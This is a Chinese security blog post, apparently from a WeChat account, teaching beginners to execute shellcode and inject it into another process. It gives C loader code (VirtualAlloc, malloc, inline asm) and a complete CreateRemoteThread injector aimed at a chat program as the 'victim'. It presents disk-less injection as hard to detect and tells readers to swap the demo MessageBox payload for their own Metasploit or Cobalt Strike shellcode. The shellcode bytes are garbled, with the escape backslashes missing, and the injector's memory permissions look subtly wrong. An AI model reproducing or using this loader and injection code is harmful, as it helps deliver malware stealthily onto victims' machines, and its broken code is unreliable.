前言:shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
今天讲一下shellcode的调用及内存注入的一个案例。
想必好多新手在玩MSF,CS能生成shellcode的马子,但是shellcode生成后....不会调用,所以来讲一下shellcode的调用。
-
调用Shellcode
因为便于演示,下面的这段shellcode是一个MessageBox弹框
unsigned char shellcode[]=
"xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
"x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
"x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"
"x49x0Cx8Bx09x8Bx09x8Bx69x18xADx3Dx6Ax0Ax38x1Ex75"
"x05x95xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCD"
"x8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBE"
"x06x3AxC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24"
"x1Cx75xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03"
"xDDx03x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9"
"x33xDBx53x68x74x20x00x00x68x69x6bx61x73x68x53x61"
"x6ex64x8BxC4x53x50x50x53xFFx57xFCx8BxE6xC3";
第一种调用:通过VirtualAlloc申请一块内存空间,VirtualAlloc如果调用成功,返回分配的首地址,否则为NULL。然后进行memcpy将Shellcode复制到VirtualAlloc申请的内存中,进行调用!这里说一句废话,如果VirtualAlloc申请失败返回NULL的情况下,通过GetLastError()进行获取错误信息!
这里顺手贴一下VirtualAlloc这个函数的用法
unsigned char shellcode[]=
"xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
"x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
"x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"
"x49x0Cx8Bx09x8Bx09x8Bx69x18xADx3Dx6Ax0Ax38x1Ex75"
"x05x95xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCD"
"x8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBE"
"x06x3AxC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24"
"x1Cx75xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03"
"xDDx03x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9"
"x33xDBx53x68x74x20x00x00x68x69x6bx61x73x68x53x61"
"x6ex64x8BxC4x53x50x50x53xFFx57xFCx8BxE6xC3";
//代码如下
typedef void(*CODE)(); //定义一个函数指针
LPVOID codes = NULL;//初始化一下codes
codes = VirtualAlloc(NULL,sizeof(shellcode),MEM_COMMIT,PAGE_EXECUTE_READWRITE);
memcpy(codes,shellcode,sizeof(shellcode));//将shellcode内容复制到codes这块内存里面,第三参数是大小
CODE c = (CODE)codes;
c();//直接调用即可
如下图,成功调用
第二种调用:通过malloc也是可以哒
这里malloc申请了一块堆内存,然后将shellcode Copy到temp里即可。
和上面那种差不多~
unsigned char shellcode[]=
"xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
"x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
"x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"
"x49x0Cx8Bx09x8Bx09x8Bx69x18xADx3Dx6Ax0Ax38x1Ex75"
"x05x95xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCD"
"x8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBE"
"x06x3AxC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24"
"x1Cx75xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03"
"xDDx03x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9"
"x33xDBx53x68x74x20x00x00x68x69x6bx61x73x68x53x61"
"x6ex64x8BxC4x53x50x50x53xFFx57xFCx8BxE6xC3";
typedef void(*CODE)();
int size = sizeof(shellcode);
char* temp = (char*)malloc(size);
memcpy(temp,shellcode,size);
CODE c = (CODE)temp;
c();
如下图,调用成功
第三种调用:
比较快捷简便,汇编调用。将shellcode的地址传给eax寄存器,然后直接jmp进行跳转过去。其实还有很多种调用方式...只要你思路够多肯定就行。
__asm{
lea eax,shellcode
jmp eax
}
简单介绍上面三种shellcode调用应该也够新手们用了!剩下的举一反三即可。
2. 利用Shellcode注入到进程内存
Shellcode注入到到进程内存发现的概率比较低,因为注入的Shellcode没有保存在磁盘文件。弊端:当目标应用程序关闭,或者系统重启机就凉凉,还有就是加载器被发现,也凉凉~
OpenProcess(获取进程句柄)--->VirtualAllocEx(在目标进程申请一块内存)-->WriteProcessMemory拷贝过去-->CreateRemoteThread(在其它进程创建线程)
第一个参数是进程权限//PROCESS_ALL_ACCESS所有能获得的权限,
第三个参数是进程ID
HANDLE hprocess = OpenProcess(PROCESS_ALL_ACCESS,NULL,19524);
VirtualAllocEx这个函数和VirtualAlloc差不多,可以看上面解释的图
第一个参数是传入的进程句柄,第三个是大小,申请成功后,返回了p
LPVOID p = VirtualAllocEx(hprocess,NULL,sizeof(shellcode)+1,MEM_RESERVE | MEM_COMMIT,PAGE_READWRITE);
第一个参数是进程句柄,然后将shellcode拷贝到申请的内存空间里面
BOOL writes = WriteProcessMemory(hprocess,p,shellcode,sizeof(shellcode)+1,NULL);
在进程里创建了一个线程,并直接调用了
HANDLE h1 = CreateRemoteThread(hprocess,NULL,0,(LPTHREAD_START_ROUTINE)p,0,0,NULL);
接下来的话,以fei鸽模拟为受害程序
如上图,成功将Shellcode注入到内存...全部代码如下
unsigned char shellcode[]=
"xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
"x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
"x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"
"x49x0Cx8Bx09x8Bx09x8Bx69x18xADx3Dx6Ax0Ax38x1Ex75"
"x05x95xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCD"
"x8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBE"
"x06x3AxC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24"
"x1Cx75xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03"
"xDDx03x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9"
"x33xDBx53x68x74x20x00x00x68x69x6bx61x73x68x53x61"
"x6ex64x8BxC4x53x50x50x53xFFx57xFCx8BxE6xC3";
void LoadDll(){
HANDLE hprocess = OpenProcess(PROCESS_ALL_ACCESS,NULL,19524);
LPVOID p = VirtualAllocEx(hprocess,NULL,sizeof(shellcode)+1,MEM_RESERVE | MEM_COMMIT,PAGE_READWRITE);
BOOL writes = WriteProcessMemory(hprocess,p,shellcode,sizeof(shellcode)+1,NULL);
HANDLE h1 = CreateRemoteThread(hprocess,NULL,0,(LPTHREAD_START_ROUTINE)p,0,0,NULL);
}
int main(int argc, char* argv[])
{
LoadDll();
getchar();
return 0;
}
结尾:我本文中为了演示方便,使用的是弹窗,私下自己测试将shellcode换成你自己生成的Shellcode即可
微信关注公众号:安全族 、连接世界的暗影
本文始发于微信公众号(连接世界的暗影):Shellcode注入进程内存及调用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论